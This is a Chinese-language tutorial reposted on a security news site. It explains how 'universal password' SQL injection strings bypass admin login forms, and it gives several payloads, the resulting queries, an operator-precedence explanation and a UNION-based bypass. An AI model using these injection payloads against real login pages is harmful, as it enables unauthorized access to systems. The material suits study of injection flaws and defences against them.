欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

后台万能密码登陆分析

来源:本站整理 作者:佚名 时间:2017-03-06 TAG: 我要投稿

访问 后台 尝试  在用户名 和密码 处输入 ' or 1=1 /*   爆出了 sql 语句。
很明显 存在 注入  并且 magic_quotes_gpc=off
尝试了几个 平时用的 mysql 万能密码
' or '1'=1
'or '1'='1 --
' or 1=1 #
.....
很奇怪 居然连 注释 语句都 爆出了了 。说明 不支持注释 或注释语句失效。
当时 认为 无法 突破 因为 密码 部分 直接 在执行sql前 转 md5 了 并且无法注释掉
始终感觉 这样的后台肯定能构造 万能密码的 就拿到群里讨论
某牛 很快找到 构造 了一个万能 密码 进了后台
用户名部分:admin 'or '1'='1 密码部分任意(之前说过 sql 之前就md5 了 构造也徒劳)
也就构成了下面的 sql 语句:
$sql = "SELECT * FROM cool_admin WHERE admin_name='admin' or '1'='1' AND admin_pwd='xxoo'";
我一直想不明白 为什么这样 能成立
一直纠结在 成立 或者 成立 和 不成立 =成立 ?(我逻辑思维很差)
按照这样的思维 始终想 不通 。
可惜这是 程序 语言 不是人 不能按照自己的思维习惯来 思考
考虑很久 也考虑不出 什么 原因,  某牛指出
www.myhack58.com
"构造语句 要考虑优先级 " 我顿时 茅塞顿开 ....
程序 有执行 优先级的。 马上查看了相关资料:
where 后面如果有and,or的条件,则or自动会把左右的查询条件分开,即先执行and,再执行or。原因就是:and的执行优先级最高!
关系型运算符优先级高到低为:not and or
随后建了个表 测试了下 如图:


 


看了图就很容易理解了。
===================================================================
另一个新型后台万能密码 分析:

输入admin' or 'a'='a
爆出下面语句
SELECT * FROM users WHERE password = '52rfHUulM5JFo' AND login_id ='admin' OR 'a'='a' AND 'a'='a'
构造
'union select * FROM users WHERE login_id ='admin
顺利绕过
语句
SELECT * FROM users WHERE password = '52rfHUulM5JFo' AND login_id =''union select * FROM users WHERE login_id ='admin
利用二次查询顺利绕过

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载